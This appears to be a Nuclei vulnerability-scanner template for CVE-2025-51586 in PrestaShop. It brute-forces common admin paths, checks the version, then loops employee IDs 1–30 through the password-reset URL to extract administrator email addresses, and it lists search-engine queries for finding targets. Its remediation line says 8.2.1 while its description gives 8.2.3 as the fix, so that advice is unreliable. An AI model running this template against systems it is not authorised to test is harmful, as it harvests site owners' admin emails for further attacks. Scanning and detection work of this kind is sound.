id: CVE-2025-51586
info:
name: PrestaShop - Information Disclosure
author: mastercho
severity: medium
description: |
User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
impact: |
Attackers can gain sensitive information via the reset password feature, potentially leading to further attacks.
remediation: |
Update to version 8.2.1 or later.
reference:
- https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
- https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html
- https://nvd.nist.gov/vuln/detail/CVE-2025-51586
classification:
cwe-id: CWE-359
metadata:
verified: true
vendor: prestashop
product: prestashop
shodan-query:
- http.component:"prestashop"
- cpe:"cpe:2.3:a:prestashop:prestashop"
- http.title:"prestashop"
fofa-query: title="prestashop"
google-query: intitle:"prestashop"
tags: prestashop,panel,login,intrusive,cve
variables:
token: "{{rand_base(32)}}"
token2: "{{rand_base(32)}}"
flow: |
// 1) Run panel detection on all common admin paths
http(1);
// 2) Unwrap matchedpath (extractors return a list in flow)
var path = "";
if (template["matchedpath"] && template["matchedpath"].length) {
for (let p of iterate(template["matchedpath"])) {
path = p;
break; // use first detected admin path
}
}
// Fallback: body regex may not match on all installs, but the matched payload is always known
if (!path && template["paths"]) {
path = template["paths"];
}
// 3) Unwrap version (first extracted value)
var v = "";
if (template["version"] && template["version"].length) {
for (let ver of iterate(template["version"])) {
v = ver;
break;
}
}
// 4) JS version check: vulnerable if version < 8.2.3
function isVulnerable(ver) {
if (!ver) return true; // unknown version -> still test
var parts = (ver + "").split(".");
var M = parseInt(parts[0] || "0", 10);
var m = parseInt(parts[1] || "0", 10);
var p = parseInt(parts[2] || "0", 10);
if (M < 8) return true;
if (M > 8) return false;
if (m < 2) return true;
if (m > 2) return false;
return p < 3; // 8.2.0–8.2.2 are vuln; 8.2.3+ are not
}
// 5) Only execute http(2) if we have a path AND the version is vulnerable
// Loop manually so nuclei doesn't stop iterating after the first payload match
if (path && isVulnerable(v)) {
set("matchedpath", path);
for (let i = 1; i <= 30; i++) {
set("emp_id", String(i));
http(2);
}
}
http:
- id: detect-panel
method: GET
path:
- '{{BaseURL}}/{{paths}}/'
payloads:
paths:
- 'backoffice'
- 'back-office'
- 'Backoffice'
- 'admin-dev'
- 'backend'
- 'admin_'
- 'mikromanage'
- 'manage'
- 'manager'
- 'adminshop'
- 'administrator'
- 'administracja'
- 'adm'
- 'webadmin'
- 'admin-web'
- 'kontrollpanel'
- 'amministra'
- 'adminas'
- 'admin123'
- 'admin0'
- 'adminxx'
- 'admin'
- 'ps-admin'
- 'admins'
- 'p-office'
- 'admin333'
- 'admin4444'
- 'admin66'
- 'backadmin'
- 'admin1'
- 'BackofficeNEW'
- '4dm1n'
- 'administrazione'
- 'accesadministrateur'
- '_admin123'
- 'iadmin'
- 'panel'
- 'admin-prestashop'
- 'admin17'
- 'admin8'
- 'admin81'
host-redirects: true
max-redirects: 3
extractors:
- type: regex
name: matchedpath
part: body
group: 1
internal: true
regex:
- 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/'
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- 'login\.js\?v=([0-9.]+)'
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- 'PrestaShop'
- 'class="show-forgot-password'
condition: and
- type: word
part: body
words:
- 'themes/default/css/admin-theme.css'
- 'class="show-forgot-password'
condition: and
- id: generate-token
method: GET
path:
- '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{emp_id}}&reset_token={{token2}}'
extractors:
- type: regex
name: reset-email
part: body
group: 1
regex:
- ']*name="reset_email"[^>]*value="([^"]+)"'
- ']*value="([^"@]+@[^"]+)"[^>]*name="reset_email"'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- 'AdminLogin'
- 'PrestaShop'
- type: regex
part: body
regex:
- ']*name="reset_email"[^>]*value="([^"]+)"'
- ']*value="[^"@]+@[^"]+"[^>]*name="reset_email"'
condition: or
# digest: 4a0a0047304502200324c2a0be715f25bd07cd3e7c48e64bd6ed38b9972e24380111ae9f01754a47022100d50e0474daf597bd19dd790355ffda1121a9e1b8418ae8acd74d5a24492c1d89:922c64590222798bb761d5b6d8e72950